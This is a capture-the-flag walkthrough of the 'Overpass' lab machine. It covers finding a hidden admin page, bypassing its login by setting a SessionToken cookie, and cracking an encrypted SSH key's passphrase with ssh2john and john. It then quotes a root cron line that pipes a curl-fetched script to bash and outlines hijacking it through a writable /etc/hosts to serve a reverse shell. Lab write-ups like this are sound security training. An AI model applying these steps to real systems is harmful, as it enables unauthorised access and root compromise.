Overpass

Understanding the .js trick - ssh2john - cronjob PrivEsc

Initial Compromise

  • Using dirsearch or gobutser, we discover a hidden /admin directory on the web server

unknown@kali:/data/tmp$ curl -s http://10.10.150.228/admin/
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Overpass</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/main.css">
    <link rel="stylesheet" type="text/css" media="screen" href="/css/login.css">
    <link rel="icon" type="image/png" href="/img/overpass.png" />
    <script src="/main.js"></script>
    <script src="/login.js"></script>
    <script src="/cookie.js"></script>
</head>

<body onload="onLoad()">
    <nav>
        <img class="logo" src="/img/overpass.svg" alt="Overpass logo">
        <h2 class="navTitle"><a href="/">Overpass</a></h2>
        <a class="current" href="/aboutus">About Us</a>
        <a href="/downloads">Downloads</a>
    </nav>
    <div class="content">
        <h1>Administrator area</h1>
        <p>Please log in to access this content</p>
        <div>
            <h3 class="formTitle">Overpass administrator login</h1>
        </div>
        <form id="loginForm">
            <div class="formElem"><label for="username">Username:</label><input id="username" name="username" required></div>
            <div class="formElem"><label for="password">Password:</label><input id="password" name="password"
                    type="password" required></div>
            <button>Login</button>
        </form>
        <div id="loginStatus"></div>
    </div>
</body>

  • The login.js looks suspicious, let's figure that out - the included javascript reveals that a SessionToken cookie will be created when the admin credentials are correct if not no SessionToken will be generated

if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }

  • statusOrCookie checks if the applied credentials is correct or not, if it's correct then it'll set a cookie named as SessionToken and redirect to /admin if not - Simply says Incorrect Credentials - Once we set the SessionToken with some random value

  • We are provided with a SSH key. Let’s save it locally to ssh.key and give it the appropriate privileges

unknown@kali:/data/tmp$ cat files/ssh.key 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----

unknown@kali:/data/tmp/files$ chmod 600 ssh.key

  • When we try to login via the id_rsa, it asks for a passphrase - which confirms the key is protected - Let's crack it using ssh2john

unknown@kali:/data/tmp/files$ /data/src/john/run/ssh2john.py ssh.key > ssh.hash
unknown@kali:/data/tmp/files$ /data/src/john/run/john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
james13          (ssh.key)
1g 0:00:00:05 DONE (2020-08-19 16:47) 0.2000g/s 2868Kp/s 2868Kc/s 2868KC/sa6_123..*7¡Vamos!
Session completed.

Privilege Escalation

  • Analyzing the crontab shows that there is a script executed by root every minute

james@overpass-prod:~$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
james@overpass-prod:~$

  • The script is using curl to get the buildscript.sh from the local web server (overpass.thm points to 127.0.0.1 in /etc/hosts)

  • Hopefully checking the permission of the /etc/hosts file it is writable for james

So Let's think outside the box, how do we exploit this ?

  • The cron job is fetching a buildscript.sh file from the local server and the /etc/hosts is writable for us which means we can simply replace the 127.0.0.1 to our $IP and meanwhile create a /src directory in our home directory along with the buildscript.sh file which will contain the reverse shell and dont forget to start your python web server :)

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